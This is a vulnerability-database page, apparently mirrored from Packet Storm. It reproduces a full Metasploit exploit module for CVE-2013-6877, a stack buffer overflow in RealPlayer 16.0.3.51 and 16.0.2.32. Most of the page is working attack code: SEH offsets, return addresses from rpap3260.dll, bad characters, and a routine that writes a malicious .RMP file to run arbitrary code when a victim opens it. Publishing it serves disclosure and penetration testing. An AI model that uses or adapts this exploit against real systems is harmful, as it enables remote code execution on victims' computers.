Lucene search
K

RealNetworks RealPlayer Version Attribute Buffer Overflow

🗓️ 26 Dec 2013 00:00:00Reported by Gabor SeljanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

RealNetworks RealPlayer buffer overflow vulnerability in versions 16.0.3.51 and 16.0.2.32 allows remote code execution or application crash via specially-crafted .RMP file

Related
Code
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'RealNetworks RealPlayer Version Attribute Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in  
version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused by  
improper bounds checking of the version and encoding attributes inside  
the XML declaration.  
  
By persuading the victim to open a specially-crafted .RMP file, a  
remote attacker could execute arbitrary code on the system or cause  
the application to crash.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Gabor Seljan' # Vulnerability discovery and Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-6877' ],  
[ 'URL', 'http://service.real.com/realplayer/security/12202013_player/en/' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'seh'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x22",  
'Space' => 532,  
},  
'Targets' =>  
[  
[ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.3.51',  
{  
'OffsetClick' => 2540, # Open via double click  
'OffsetMenu' => 13600, # Open via File -> Open  
'Ret' => 0x641930C8 # POP POP RET from rpap3260.dll  
}  
],  
[ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.2.32',  
{  
'OffsetClick' => 2540, # Open via double click  
'OffsetMenu' => 13600, # Open via File -> Open  
'Ret' => 0x63A630B8 # POP POP RET from rpap3260.dll  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 20 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.rmp'])  
],  
self.class)  
  
end  
  
def exploit  
  
sploit = rand_text_alpha_upper(target['OffsetClick'])  
sploit << generate_seh_payload(target.ret)  
sploit << rand_text_alpha_upper(target['OffsetMenu'] - sploit.length)  
sploit << generate_seh_payload(target.ret)  
sploit << rand_text_alpha_upper(17000) # Generate exception  
  
# Create the file  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create("<?xml version=\"" + sploit + "\"?>")  
  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation